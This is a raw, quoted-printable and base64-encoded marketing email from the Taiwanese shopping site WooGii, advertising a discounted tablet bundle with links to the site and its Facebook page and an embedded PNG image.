=A8=FA=AE=F8=ADq=BE\ =B0=D3=AB~ / = =AC=A1=B0=CA=B0T=AE=A7=B6l=A5=F3=20 =20 WooGii =B4C=C5=E9=B3=F8=BE=C9: = http://www.woogii.com.tw/dm/INVITE/20131007/media.html =20 =20 WooGii =B6}=A9=B1=BB=A1=A9=FA: = http://www.woogii.com.tw/dm/INVITE/20131007/home.html =20 =20 =BBP WooGii =A6X=A7@ = =AA=BD=B1=B5=C2I=BF=EF=A1u=B3s=B5=B8=A7=DA=AD=CC=A1v=20 =20 =BD=D0=A5=DF=A7Y=A5[=A4JWooGii FB=AF=BB=B5=B7 = =A7=D6=A6=DC=A4U=A6C=BA=F4=A7}=AB=F6=A1=A7=C6g=A1=A7=20 WooGii =A1iFB=AF=BB=B5=B7=B9=CE=A1j: = https://www.facebook.com/woogii.co =20 =20 =20 ------=_NextPart_001_0010_01CF28D6.869DBAB0 Content-Type: text/html; charset="big5" Content-Transfer-Encoding: quoted-printable
WooGii = =ACO=A5x=C6W=B2=C4=A4@=AD=D3=AA=C0=B8s=C1=CA=AA=AB=BA=F4=AF=B8~=B4= N=ACO=AA=C0=B8s=BA=F4=B8=F4=AAA=B0=C8 + = =B9q=A4l=B0=D3=B0=C8 =A8=FA=AE=F8=ADq=BE\
=
=AF}=BDL=BB=F9=A1I0.9cm=B6W=C1=A1=BF=FB=B5^=AFN=BA=A3=BE=F7= =A8=AD=A1A=A5=AD=AAO=B9q=B8=A3=BB=B4=C3P=B7=C6=A1I=B6W=AD=C8=B2=D5=A6X=A1= A=A9=E9=A5=FE=A5x=B3=CC=A7C=BB=F9=A1B=B0t=B3=C6=B3=CC=BB=F4=A5=FE=A1I

=A5u=ADn = 2990=A4=B8(=A6A=B0e120=A4=B8=C1=CA=AA=AB=AA=F7) = =A7Y=A5i=BB=B4=C3P=C1=CA=B1o=A1i=A8~=AAG=AC=EC=A7=DE=A1j<= FONT color=3D#0000ff size=3D5>=AD=EC=BB=F96990=A4=B8~=B6W=C1=A19=A6T=B7=A5=ADP=AC=FC=BE=C7=B3=E6=C3=E8=
 
8G=A5=AD=AAO=B9q=B8=A3(=AA=FE=A5=F3=A7t=ABO=C5@=B6K=A1A=C4=B2=B1= =B1=B5=A7+otg=BDu+=A6=E6=B0=CA=B9q=B7=BD+=C1=E4=BDL=A5=D6=AEM)=A1C=A8=C9=A6= w=A4=DF=ABO=A9T6=AD=D3=A4=EB=A1I

=C1=CA=AA=AB=B9=C5=A6~=B5=D8=AC=A1=B0=CA=A1A=B3=E6=B5= =A7=AE=F8=B6O=BA=A1=A4d=B3=CC=B0=AA=B0e $100 =C1=CA=AA=AB=AA=F7
= !
=A1@=A1=BD =A8=FA=AE=F8=ADq=BE\=20 =B0=D3=AB~ / = =AC=A1=B0=CA=B0T=AE=A7=B6l=A5=F3
 
WooGii =B4C=C5=E9=B3=F8=BE=C9: http://www.woogii.com.tw/dm/INVITE/20131007/media.html =
 
WooGii =B6}=A9=B1=BB=A1=A9=FA: http://www.woogii.com.tw/dm/INVITE/20131007/home.html= =
 
=BBP WooGii =A6X=A7@ = =AA=BD=B1=B5=C2I=BF=EF=A1u=B3s=B5=B8=A7=DA=AD=CC=A1v
 
=BD=D0=A5=DF=A7Y=A5[=A4JWooGii = FB=AF=BB=B5=B7 = =A7=D6=A6=DC=A4U=A6C=BA=F4=A7}=AB=F6=A1=A7=C6g=A1=A7
WooGii =A1iFB=AF=BB=B5=B7=B9=CE=A1j: https://www.facebook.com/woogii.co =
 
 
------=_NextPart_001_0010_01CF28D6.869DBAB0-- ------=_NextPart_000_000F_01CF28D6.869DBAB0 Content-Type: application/octet-stream; name="edm0207-01[6][3].png" Content-Transfer-Encoding: base64 Content-ID: iVBORw0KGgoAAAANSUhEUgAAAzQAAAF8CAIAAACWhGkIAAAAAXNSR0IArs4c6QAAAARnQU1BAACx jwv8YQUAAAAJcEhZcwAACxIAAAsSAdLdfvwAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVh ZHlxyWU8AAD/gElEQVR4XuyddWAVx9rGvz9Ijkvcz4m7OxAsJEggSIAAIVgI7hbc3bW4FYq7Wykt pV6s3BqlhSIFWhwCxOj3zL57NpuTEGiL3d59vufunZmdmZ2dk4/93XdW/u/Bf7698+lngu8+2/fe nM1GYmbx+MW+/ennIpfI3nqeb5b0vf98+6ckSZIkSZIkSdKr1/+dbtriI1cP8jGTP3b1OO7C+xNX 5k9d3cmfuZTw55y/cDbZlfeXLs+3UFloTr2J+xeOC9NIhIFhkMKAafwfcj7q4nEUW1ePD1w9jrh6 kt9383zf1eOwm+ch2JX5IOcDnPe7Me8Tea+b115Xzz2uXnuw18fn1ykp9zZnSJYsWbJkyZIlv0Q/ +mxO3vlDPJSZVAxnAugUk5lbCSyDBWYiiirGsucB2VeczQrFFlNaOYj2D/mMhzOOz8RwVjafcXC2 39vz12HGW7O9JUuWLFmyZMmSX4VvL4x4fHIlj2YCnAmI8ywyE6NSMZNxWGaGWcRhgr92Noptthc2 a/6CiIbhvQifAc5K8Nmzg2fEZyXgzM3raLTnjSleZjMoWbJkyZIlS5b80n1vc8bTJ/d4OBPgRiAz ClAJMCTgEQFTmVgmwJYZjT3XQkNxb2JE+yrC7/quxTc/3PzP+ez9svhMDGdiPvu0lkRmkiVLlixZ suTX5we7ujA4O2OCs/LJ7FlYJqCVGXKdeAGbNRG6EjrHgb6O8Mv96QQX5PvzdFr83+az4uDZiy1u flHf02y+JEuWLFmyZMmSX7XzL3/+f6cbpjyLzAjLSpBZKSwT01UJ9nIynnQ22UVkrgR7mU2VxZ3A AqJ90yS+8OEdYBm2/2mfeGnREBpP+XxGcEZ8VvbNZ897MuCHzu5mMyVZsmTJkiVLlvwa/PBgzv+d rJvwXDIrM2AmxqkSQCZGMRfjqVI2q8CzWklKQ/8/9m5IZJb704kfejd4cv0XpAU+g/8Sn5WzuCmG s0PeEplJlixZsmTJkt+Y723O+L9TdSsT2QBxXoTMKKwlUFQxlplgS4Cw087lWagmNBQj2q/TurOF TE4Xp3UnSiP9NLyVMLzn8tkzFzfLCp4d9vb8dbhEZpIlS5YsWbLkN2YGZ6cJzsohs2cEzAikhFDZ iwDZsyymNCDaH7uXEIeJmezG7iVPrl9AAoVnuJvPBDjj+awknIn57EWCZ8diPH8b62E2QZIlS5Ys WbJkya/TBGcJYBqBzODnkhlhmRAtK41lZ8zsZCh2yV3iVujkm0jf3PP87f+/jMi8d/J9SiPxXVYi sdqtDzd/FeGH4T2Xz148ePZpbf/b7zW/v7W1ZMmSJUuWLFnyq/btRVFmTCaYj5w9l8zES5nigJkZ lhVTF+Mw4zflGhXErIbm3zeNy7vBYmMkgdLEurF7yeVFQ3J/OlGaz3AW5fAZg7OSfCYEz77o0fja Lz9Lfl2+YObrpWxWAb5xwdzXf7kIlyi5eFHwDc7iEvLv5r5048KvZoUo+RtGV+Q/LvH+3eQbly// wVkooUKhvLRp743LqIauLnPm+8cI+f65tGjAxVPBZoOfSbPJf4ss/Nx/0b+UKjE3Tv+38+wQlCin yYM7xbF5SZIkSXqdAp+ZMZlgDs5SiuGsBJk5P4PMRAEzcywryWRnnQxnncsyyp0MQjWitF/68rf/ Pzp/Aqahg8/+0yReILaL07oDzih9Y9dijLM0n9HNZ+UvboqDZ6fHdRVfMCS/bJdgLNjs6gibVTAz 1RGYo5SL8UgEYb8SnJU2AxoRITGXWfjXTcDEg1Qp2CLfvGLy1avP9hXOfPaPq1f45sRn/LFYlj+0 OaKRMWmA1+Lp5RJmP82b9AuO57efzW1WATarAAvlwvZZfnD7Nv17IkmSJEmvWc+HMzMy4+FMFDYr h8wELBNgyxzFOP+Hs1khs5Phu+TQPzZMo7E+OPW+QGkQEvdPsZVNJM71bmgWS7u0aIgAZyX47IUX N79fOqHklV7yS7eYGJiJJMQu1UQw14SHKjQ0c4lOYIHA+CYmlBG7BEKZEIcvEVHU37ep25tXeMC6 daXY4iztNaGY2OJdLME3uXz15uUr6JY/BH8s06mZTYVpnvk5NJ/YN2lCxpcIiwKTCUahqP/yDiTB mSRJkt6UngNnZ0rBWflkZh4wM2GZOE5GKPYivr50KIZY+PDu4/Mnb+1Z+uuo1jToO8c2C4gGJvtl ZCbFz5D+eUQmlUM/DW/1rODZMxc3OTj7MMjv4pFdZpcNyS/domgWbwEgBJtVgMvALBYfKmETZhWb xxTO5S8aljZjKTJ4SEj/DT8Tv0qnr976Db5mZmHvzau/Uf3bV6/CrL7QM3cs8fjF587Nj2nqhGks 9dO8Zv/OWUhQ2twXS9msAmxWATarwJmdeMmEubm2D6VlTUmSJL0hvRCc/V0yM4+WCdT17QsY1S6P 5mns0qjWV2b0oPTdY5vPdeBv/79/6n2QGaVvf7T5lxF8WtieSYsvg8/KhbNP6sZIZPZ6bEZdcAmM 4Hzj11/NjQsqS5gqFN93VWwehi4Xm60AcjbBTTEGiUx4JFgoIVS6epsREp/+q0bbYl8z8RYSJt++ bvK167dvMN+5bm40ZBZqXr925xqz0DMOJDoXU7oUrjEyE2b4beCzXzhzaR7ORGhl9kcimPaWtqiO +S7mi1SBpbEVVS7ukLISnEmSJOlN6flwRmQjwNlzycy0lFkiYGaGZd+9gKlmPhcSe3j6yLeRPo/P n6RBk27tWXppOv/Cs5t7lv5qSv88IvN30es2vorwM4Ozcvjs05SY69+dNQu6SH5FFvhAsBggnuXS cS8xhJFvXWYrfUIwicWTeMziYcuEL2Y20UxJC+jDwEhI/w1zaMXjFIdfIgK7UZy4wXzvd/h3M3PV yEJDzuA5U+fEgqbBcydFqFoK0QSzmX+jvsm5uKQ4qleC0p5vUU0z3hKMnonJ0L85vZU8nPRAgCRJ kt6UXhTOygybMTIzvcmsDDIrF8u+L9dCNSF49kOt0HPp8YUP71L211GtAWeUvjAqE3CGBFDs+6xE IjN67RlED2+a8VmZcHaqdxOJzF6nb/zKTFjGPXtYghgIwkqbD4AV3zh/RQxhHIeVSNPCHyELZz5q RTTzHItiVMxme59poFIJmyhKQKsbt28wE4cx/27aAsL+MPnmH2WY24VqzNSW9cahHg593RSKA5/9 9tvNq79hrm7/Vrz0yWbsyhWac7FNQccSP9DrNX8nHGXNhvc79hbbbNer8sO7/L82kiRJkvSa9UJw Vs6CpvDWjHLITIxlxQTmwvsHFzfBQqFQ7YdIH36gH29BVz9n1wSfXRrVmqJooLGf+zak5zdzz5/4 tkk8PRaALSiN+Izg7HRa/Pe9GxTDWcnHNkFmZ4a1FZOB5NfnEqRVpq9wt1hRmr/Xio8J8dTF8ZYY j0qwFB+jKmkRGJmZIySxi2npxWzWHOZ3iRnr1s37t24x3zb3A/KdZ1iocPsmq886ucn3SYfmsI8/ zevXbtI8lFjxLGn+KdFnxtVei7nl6cv4Myh7DPTeEK7O67MEZ5IkSXpT+stw9pwFzbLIrASWFQMZ tuXYBGrOBmAZjfXmhmnU54V+Dank0fmTRGZ3jm3+0XQj2h+7l4DMKH3v5Pu/rZtKX968e/L9ZwXP zq2YbLpESX6NNqOEEi7GL9gU9BK7eKGwBIcVh6kEsyVCjrpEnGSGSiLfv3mzbAs49XxTZbFvPRD7 9s2S+HUHfnjnNu+7vHPv3illFHJ7TZV5UBOOe/MmnZ0Y0fiFVNgc0USMSyu/ogVQ8x/rFRswhO1t E5yZDUOgtNfp3Hv38O+GJEmSJL1+PR/Oygub/XUyE/DrR5HPObv9FOl9IT1eKBEj2hXTyiZ0eXRr 6ll4PgC6tWfpxVH8owC/Tu/+i+mBTZRQIenq2qkl4IwLnn0S7Htx3zq6AEh+3S6mBMGECzAfKhNQ zOSrJg4rRjF+idAU8QJgUUJwCfDiUInREh9/KnaJwFWZJXduCVT011wKtqjkIUvwyJV7747Id+FH d81N5eKa1L8pokandvPebXaymBA2M7+bIJVNF09pptkWwpCUhU1MJiRej4nJuIMiQSXFZnWwfd2W 4EySJElvSs+Bs29SKj0rbGa+oMm9NYOeACiDzDjSEjMZgEzwxfT4ood34fOR3gRqYkQ7F+nND5bT +fR46v/2Xv6eswemt52d79uQbj6DfjZ93+nJ9QsXpnUr85sBnwb7Xjm+/ya7O0fyG7AJvEpbwC/B jMMoXXyDPBciuv/HH3eIvW7/UcxSxUEp3gIn8SQk4qRiF0OPQEKlS/6+H9279+i+yQ/u8r5//9GD sv34wYNSRmEJ8z0LozVhHyYBU4E5weTcZ7NEk0Z3vPEzKViYcPGvYPZjvVpfvcKOyKEYHZ3dJ0cu Bkfewg2Fr9r4aegfE0mSJEl6zXpROHtu2AxkRmGzZ5AZsxjLfnLifXVAI2AZjebJzycvdaqJ7b19 y1BHQDSUUAWo8OHdH2uF4hA4lvD8JsjsXIdE4Z20P2QlYpBXFg/5sXdDGjlOwQzOvqof8/tP39GV QPIbsQAHgik8Ji6h2+f5u8E4sDAxGcMybsGRYVkxmXEoxjFKsYla4Ed3b1MIipnRUgnzoCPw030T +oih6p9a4CoOtnKLnZf78G+YeqPOabScGaJhHtic3LqFKWJzVZLPOEQrTWnmv9HrMZiMjg5Qo0Qx nHE247PX49x7EpxJkiTpzej5cFZ6TVMIm4kWNLmwmWlB81lkZoZlP7m4/T67J40j75cSr8kQomiE aHf3LUOh8KgmWO37SB92oEgfetcGJCR+WzL0dIQvBomhYsA8nLkyPhPg7HTHurd++v7Ob9ckvyIL 13vBBF4l8AsJoQm34naX2wq+d+PanRvXmdmS5Q2GZTf/uCvEyW6xO+K5+7fuPLx9N/cufI8ZLHX3 vmBcYh/dY1vmB8yP7j8o2w+K/fjBw8e5ueISMgpfivNK+9EjM+eXMr/LrCE6fJDLn8K9B+x82Ynf zb1z9+HtO/dv3bnPljuL1zq55U7ucQFTPJJmnp984Rd5ZabfvYRFfycYgzgrWCC51+ZcKXImSZKk N6S/AGflh81KL2iWR2Yubued3e5ums4PYv+yn53csKUsQA27fk2PQ01q9WunmgUce10dw99/Rg9v wuL3awh3mJ0xwZnAZwRnFDz7T7+mdO2X/OpsdmUt0xQVu3fDZPZmL+b7f8AUG+PXLkEV3L1i7J4q fpmSlibv3cm9f5fAS2AsxlUPGK+UwBczJCoLccwtwNArcMGTx+U570lRfp55YVnmO+QGzM6RO3HM AIEax6b3HrJVXbojjXuuU5hVuGQs7c41MvfrvDKL/wZKmw2ABsPH9hg+vhE/eiDBmSRJkt6MXgjO KPgkhM3ED2k+K2zGyMwZWMbfZ1ZMZhyWwaCxG+Pa0CCAYr84ucLXBjZCIVEaEI1Ijtqik6tj2qDD O1wUDUICh8NBL3APb97as5SCZzf3LMXwzOCM8RkHZxfXTC+mAcmvzML19RnmsIxuHSPfYBaY7P7v v7PFONMt/MITjoAM/o4x7j4wtubIVvSKmey5XJX/+LHJSJtZ2MXbjIReosFe5Tr/aUFBqUJzg+EK MEhuqMXnSKBm4jOOXNl0CXzGrQVzLl7rhDkyFv18Qvqlu+Rfgsg8llEdcvFeM3J6DZbgTJIkSW9K z4Gzs4Cz569pFt9tBjIzC5s9i8yIxh5wHFaUe/eCoxt8Mdr78ZkPaGQQaprxGTpEtw9PH6EK9PAm Dv1dcui1JexDnNC3yaEMzpx4PhPg7KsQ34vvTefvXpL85sxzwO+/37nBGWQgjuWAzAR6uMm/coLd y88928gzGYuW0Q31dO/8g0cPS8bGilGsJHI9YTbjpGKDdWCz7KtxYX6emQFkJVxQMiuy0KREn9yY GaURnHFrsrSMy1Ps3btsDhmi0Y1ot4QoGn4FYfJZIK3UT/ZybfoDKGG2i3vpCTMbhvlI+KXY1+hH Dx/SPymSJEmS9Jr1onBGZMbDWek1zdJhs2eQ2cU6IWCye5unA8tAY791TqJxXGkRD+f/coqyJCI5 gc8Izn5wcfsx0lt4RODn7Jo49PfJoZS9sWEqRoURgiCF4BnG/3W4740v32dXI8mvx8LFvrTNanK3 89+7dZO9l1V43PL2beY7dx6aPSPJ09j9YhR7lJv3+BFcDF4iZCnmGEoU5Jdj8BCfZgDEWSh52Wbs ZebCghd1AVyiH260PK7RPHBsyiEasJV7zPPRPdMTA3dNL+AgSrtleoetyWbvH3n5Nvt74HBcSJDL r/96/CQ3l/5VkSRJkqTXrH8EZ+I1TZDZs+CM6Oq3gY0Lf7/w6MwHuZ9spWPfmtPzmgnO7q4cXpTL bh0r/P0iypFA9vby4Q8/2Zr3y8lby4cR5AnBs3O1QulWM2zPpcf/sWEal75zNtIHA8PwWPDMBGdn GsTe/O6rEv/cS37VLnWpYzbt5a/B3PvGePPPWppex3pbeNCyJJndL4Fl+bCAZSXCUYxXeOgpdjHf PC3CphiVyBz3lCh5WlRoZvHef2JhJIIxJDObVYDLKOdAjZkHSlM4jaJo3ConPRn6iD0YwfiMPSvA PbtKfEZvRxN+GvLrhzOx2Tt1S5bAZk1egyU4kyRJ0pvSc+DsPymV+DXBZ95wVmJNE2RGcCa+24zC ZsLt/2LdHN8WfnhgOWUBZKA0s/gZdGv5cLPgGQ5xPj2e9j4+f/LbSJ/vkkNhDMkMzs40jL1z+Twf npH82mx2PWZ39ItQjPM9DsiY79y+z2EZM2MyoBh76JKZvSHC9JQlM3teEsBBWEZreQUUGCsFQOQS KPMKLLCUYLMKsFkFMhNVMGXFhSyNLf6f4tk9wLSXWThlcQjt8ePHuQ/zHnILneyePIZoDHM58KXX bdAbNyhyydvsp3zpLuNvgw+VsfsLuZsLTX8kxV+m4hOCS5e8bD95JC1rSpIk6c3oL8OZ2Q1njMxM z2mWEzY77+x2bWAjOiQI7EZOY4qTQYW/X4QpLRYqPD7zwe3lw6+Pa3OhTgjBmTh4hmMJn0W/vnQo RgJSJDiDGZw5GX/MSecv/5Jfs7knK5lNJfTMoNj3796BH94zvRj23l1gmYnM2AOY7BlM0Qss+GgZ 3afPxcnYffEClJhczCvPZpq3y/RHbBJKaPCURQInReVUIhb1QPX5KBoXQqP4mWl98xH47AmDM57P Hj3gIpH37z5kb4C7jZ+Au6WPGb8IUbLww71m87cYmhZe+dgedplwjREbB3mUfnV+8kiKnEmSJOnN 6GXAWbk3nFHYDIBFxwNy5f9y6tbcXr8Pakwl0L2VI26Pb5v3DXsUQAC1y3VCLji6XW4RX/j7BYIz 4jMBznAgHO7mhmkwGwO3wCqGswtz+nIhGclvwnShJdPLL0xX3GJzWMBhGfdGDHabf3GojH8GU3xv GXeDP0XLBDJ7WsAvNfKAwpmQRTD+nMxKXtD0p1i+zJrA/A6RzCoUm9/PRMNGgnZRIc5NSKMCJcSi yrTkys7dtMrJr29ywbP83FxY4DPMKheG5Cb8PuCY8RlDND6cxiJqjNLMftCXZ/p7KG0iM7auTQ/k YiT8nwq3l4ez1+cnjx7xsyxJkiRJr1fPg7N6PJyBzAQ4e+7TAGZrmkAr/mjgsM0zKPHAlIAKfjl1 xd7l5qC03+qG0BLnk28+uOjk+se4tlQh75eTP0d7lwlnOCgOXRrOrm6czS+TSX4zZhdUnsB4C9d+ k+9xcMa96IEL5DAs45mMf18Xdz878ZnpLRgUE+IW70rfSQZG4bnnz6dPmcsRVSjfr06lOi8etkks yzGZ6ezKwD4aJ7XlEY2DM+65Tp7PCh7Bjxif5fJ8RsvEFDmD75t+BdNPw36vUj/oKzTFUIvJjP+T 4EdSbAZ2JRq+Uuc9luBMkiRJb0Z/Hc7Ej2o+42kAMzg771z8gtncT7beyGkM9qJskSlO9ujg8qsO Ltdb8reRXe+cJGAc6eHxrayrSO+7+5adi/QuA86ceTj7Jszn9smjwr/vkt+IuasppfkVND5RwrgM 3+a+Lyl82oi9rozFybhID/Mj/klM01Im3fYuMFkpGiO/iMT1n+XXI46u+KQpAcACaXElbEtPm3J7 ypIwYExFQaHJBUA0TFrRE2bxBwZMryABot2FH97nfyb6sJX4d3wl5gJ1JSwuLPEXUtyqBKW9Fuc9 fsxPryRJkiS9Xr0QnP3VRzUJzkBmApz97OT20PSQpkBmuQeXX7F3AZZR9v7KEQXcowDYPjJVBswJ YPfw+Bb6CueDj7fQMwGl4ew/icESmb0NLkFmz/Cj+xyWPbgr+twki+vwZMaRRP5jduOUKVrGMRln gcmeFnFkI9AJ/IISN3mWX48YnBU+zn348MH9P36/cfnypfPnz3/zzdkvvvjy+Mcf79y5a9PGje+u XPXll1/y9UtLGDCbEBY/E/FZHsFZwSO2vklwRsHIRw8fPHrIrW8KfMzu9hN+oOJf85WbsbuJz8Qc XwbTl2r7yow/PH56JUmSJOn16vXB2YVob/FjmEC0wt8vPtg849bgtIILrLzo94tXo73uzO1FFaDH Zz644MheV/tI9GZa8Nnl/o3KhLMfGsc+uPoL93FryW/a7MUN3BeEyPQ1IbrHn9vF7kwvfrM/zEXL BAthHv4dZk+E5zHFy3xksInJJj19WsgBXGEBWuUJISjk2R1q+eg4t6AAvT5GIjf34f0H9+/cu3Pz 7p0bN/+48tvVXy9f/vmXn388f+7b7789ceLrTz/99NixYx8cObJ///59e/fu2L5944YNq1evXr5s 2coVy1etXLlo8aI5c+bMmDlz/IQJw4cPz8kZ1Kt3785dunTI7tAqs3WTps0aNU5LTU2tVbtOzaSk yglVYuPiQsPDAoOCfHx83T08XNwMDo6OdnZ2NtbWWo1GrVIpFXKlXK6Qy5hlMoUls1ImD/QPateu /elTp4vYQwA4mXzu9Pn71WBxgp0sN2OEtnT/GcEZ+cmDh6anBB4W/1K82dc5OZf6ZV+FQeosbkeJ e48fcL4HWOS/SQ8/ZhVe13g450vLmpIkSXpDelXLmue498Re6lST4AwGY9ELzKCi3Lv3Vo6g9N25 vQjOnubevTkoDVsqJ11pEY+Gwms4QGYX0uPLvOfswpDmD3+7KP7XXPKbdAnwKsMCFgisUGwOy+gO MwAUkRnBGTGHgCBkE5kVwxn4C1tgF7ZFhWiVf/f2nd27dk+dNi1nUE7Xbt2yOmantUiv37hRct06 VRMTY+LjgsNDPX193IxGOydHG1sbnV4HTgIoKeWgIs5yOSUUFSrwWdjSki+nLKBKIdeq1CqFQiWX qxRKtVKlVqusdHq9VqtVo0M1gReroFColUqNClYJRgmzmqVVSiWMNDpk/SiU6FOv0ynliq1bt+Y/ eYwTpqnAFmdK80NzQrNEcFbi4YBSH3oy/RD0rg1m+u1KhaxK/cQv0aagHaW5MCqtdLPykjYf1auz FDmTJEnSm9LLfCDgt5k9CM5+To+j75Q/OvOBAGe/ih4LgG6Ob/vHoDQgWq5pWRMJIjNGaePb0rs2 sC1eD/355PlI7zIfCPh1Uif+n3LJb4eFKz1ZHKShdDGKkQViELCMe2WGmMzKhDPuT8McziA0xPbx o4eFBXkfHDmS3jwdeASukjNbsK2lhdzCQi6zVHBExWJUCgXRFUrUQCWNGnCm02rRkNGSWg0wEtIc uqmRxRYlYmuUzCAqVk3FTNxGoIZCmKGbCNEEq5RsDNjFtkolG48cdThK41BPr9GpZHKMf+7cOZgQ OllMCLY0P6XhrPjJACF4Rqa7+kwhNO4HEhANfMZe+Wv2s74Gc2GzFzuuObe9ZGO6aHolSZIk6TXr eXD2wu85o+9d3tm37EJ2TXp3P4kFz7gPN/3sxN6LcW/zDPp6ZuHvFy85ul52gF2AaHS3Gel656SL Tq43Bha/awO6v38ZyOxcWU9r3tg6T7jBWfJbYu4yz1yCwMQGHAgJkQUsYwZSlCIzActg/o+jFJlx ewtv3vwj73HumjWrHR3tgEcKCwu2ZVEuYJgCgKQCS2lUWvAXGAsoxgEXGQUw0RhsrdezNAdkMNKs gYm0kCajBDilUSoJzrRCJAw2oZtKpYQ1SgWs5rYqcBjn4izjNmSVFIErBjUk0Bx1UGhpMW3qNJyp MDk4cWF+aK5gDs6Kg2fEZ8UPB8DCL8LZ9MMxPuNMtwMym/3EL9GMBUVp5lzO/BhK2LzmK3NB3rOf wJAkSZKkV6mXBme39y7lu+RU9PAuBc8eHt8i3Hb2i5PrBdELMq7UDbnk6HIlxlv4QgAp/5dTFx1d r7SIp+AZJHwhQAxnLEoX5n3z8HuPcx9KfttsdskvDQHFcFAyVMYzGWdGFSUDZjDBB/1hmFQGnOXm Pvjtt6tPiwpqJiU6OztwNGPJ8ZlMYWkJLCMDzojGOOxiWVMJD2dWVlZsq9eDvax0emsrKwIyMsoZ tHEVWJqjPDCcDqSnAp+R1VpRE+IztZqZYRahGEdjoq0MCbb6yZEZMRmL8KnkGDxOAcdihTL5B0fY /yiiOaFgIaWF6WKzJ+YzDtH4CcfMi34FZrPfiBk/JW+zn/ilmn9GwWS+8NHDh3DJQrGF+q/EBXl8 YFKSJEmSXrP+MpyV8/kmIWCGxC/pcVfH8C+evVA7RAiegc9+jfam8t9zGl+K8RKeEgCiCZSW+8lW YVnz+rg2aE5wRmRGTwP8EOZ97+wnZv+eSn5LXHx1L/PCLxSWJjMTnLHHDP8unKHa/Xt3b9y4DkSL rxTn4GirtLSgyJmNrR3oCGTDFjFVymJKg0BmfHyLsZoOoKVW67jgGZisOH4mQjE+YQqwEXvp0ErN +EzHKI0jMxxBrdLykTZ2QJVSjkGoVQrGZxRCUytZBXCbimXVSnbvGtqC4RifAcu49VZiNZwIulLJ ZKHhYdeuX8P50llj+yJwJuYz8W/BLP6ZeAtwZv4rvyxzbxg2WVxCA+DSpZnMNLxXZbpzUZIkSZJe v54DZy/44fNvI31oWZMEOPs5Pe5cJIOwR2c+uLl82NUBjejOM+Kzx2c+gP8Y11Z4mRmw7KKTKyx8 Fh0CmV1qHo9WpcNmPzWJffTHFdG/15LfLptd8gkFzLLFNEbmQmVmFuCMmEMw/yfyDKHC9Rs3Ll+5 lPfkUaWEeCsrjY21taJCBfBT3ZSU1u3auXkYOdZR8NEyDsgokMbWOLk1TWCZsF7J4mEck6EHPssl QEiUFZvITKtUm8zfhSbc9U+sxpktcfJmlMY4jC1lUlquAJLRDWfMKgZwwDJWR6lkIIhiuRx89uul X4nDhPkRyIxmD3zGvR+uBJ/B9EOURDRzRhFs9hP/611QzovlJEmSJOlV6h/B2bfJIeCzH5vFPT5/ ku/u4y0UP8P2XKQP+Oz6rB4s+/sF4ckAYX3zgqPbr6L3a4DVUPLA9FazvF9O/hLtTWRmFjb7tXfq k5u/5T/GNV7yW27T5b+UicbMzL9jlkMKwcQZAnaQ6Y/kWXpaVHj1tys/nvvh8eOHrVq3tLXR2dra gmNY8Ewhr1svJTQyggJRXMyMkRkxl1anZZExzlZgMQCaKSpGcCaEylCdC4OVYT24Dj1x1qt1ZJ1a C2tVGp2SuXgplbdGrQDAMZjDXmwpy6xQaeUKjVyBLVktU2Av+tSq2NMJOKN2WVmPuQ9B5j1+RPND kwazOTRRGoMzgc9gMZ/xFiFaMa7xLvnL/vuNGaM/J0mSJEl6zXpROBOvbJ50Np6J8r25Z+mj8yfO RvoIq5lXZ/b4j7PhYj/+A+dPfj55dx9PWtC1sWx1UsxnhGgXo72FFUwAGVV++MlWMzIT4OzyiJZm /4ZKfitdfMknCDC3gAgmAx0EOGMrceSyyAymv5NydP3GtRMnvvz11/MzZ06zstKAzBjHyNlzjiz4 BFCj9UEuKoVdgDO1RkV8RgafgcIYpxGccXxGiEaFFCcr3suZRc5KkRnZDM4IC4nMUM7F2LgEV4dl MSgVQzortdpKrbFWaez1enudzs7KWi1XagCWMHdS1lZW166xxU1hrigN81jGwxnjs9LxM8HEZ7AZ lpFFP+7/hDFj/B+TJEmSJL1ePQfOvgGcOZvD2ekI39zzJ6j9rT1Lr0zvTunbe5cCzr51Nlwe3ZpK xAKrEWkRn4kR7bLo3n/o7qbpVKE0mf2+ZqL4qi/5rbXZVd+cBijLmXDBZBFJMDjjCUNgMsH838oz VFiQd+/e7Q+PHj5+/MOTp7+KjAkDwYCoeCwTXp9huouLwZmO3d8FuGJkptUwPONQjKcu0aplCSAr ufRJYTC9Rg/rWPzMZA7IdIpia5U6WKfU6pU6spVKb6WEddhaq6xsVNa2OlvYSWdntLL3sHHwtnX0 sXMKdDIEuHl4OBlsVXqtnL2kA3iJ8fv6+R04eFA8VzR1sHhKmctFtHzzWNr/rgsL2D18kiRJkvT6 9UJwJl7Z/E+T+MKHd6jxzT1L6c4zIBqVUPDsfDr/iUzo7r5lv3asSemL6fHEW0IIjfzbwMYCnF0f 14ZhGfcEgJjMzkV439qxoOAJriWS/xsswi9yMQ1w6RL3lpniZGKGILAQUMPM9NdSjoqKCo4f/2j3 nh3HPj7yww9nAwIClTKZtZUVUEYpZ+8SIzKjd5tR5IyZBcy4cBmwjF/V5PkMjAVEQ8KMxnhKM5mV qwF6nNGrUgsC08p5JtMXW8/ZykphZa20tlFa2yptbFU2diobe7Ut7Kixd9Y7OOsd3fQOXrCVg7+V Q4iNS4SjMcTJI9DVx8fBaKO0ItykU0Di7NmzwhQ9E85otjlEE36REiZQM2XpPcDshXP/Y8b/NuD/ mCRJkiTp9eovwBn884hMgcx+WzJU/FjAg1PvU/nNDdOEhc5rM3t8z0W86LUatzdOB2nxfGaiNJAZ VQaf/drcRG8mLBPI7OG3nwn/417yf4GFK70oNiZkyyQzMZwJYCGghpnpb6YcFRbkXfr1l4OH9u3f v+vc+W+3bNrELWCy++gVoBnu1nt6YJOsUnF8JtxzxsEZv6xJJvwShcrAQxzqcXgkskqhZguOsEKt kTNrOeuYnwlnjM8YnDEs42znpHdwsnIgOPO2cgiwcgyxcw2ycQ5z8fR1co8PjPRx9WJYqdFgGLTN yckRzxLNYUFBPizMLZtemu2SP4qQZhb9lCI4Ky78X7AEZ5IkSXpTej6cfe7iTiublxcN4Rtxurln qfhTAf+J8BUeCyAB0X4DnDmzhytvb5yGktzTHzDSMlEXQdh57kNPMHvjRiksg39pFvf4yg/sRmbJ /50WY8GLWCAzWIwaZPrrKl9UE4c+d+7cvr179+8/8MOP33XslK3i3kCh1ajpdWLgM2zpfWNarZqR GcQWIq11amudykarstEorNQKnUquVslVKrlSpdCq5LBGiRIZ90IMSyWMtEqGOhq1XKORqbUKHWc9 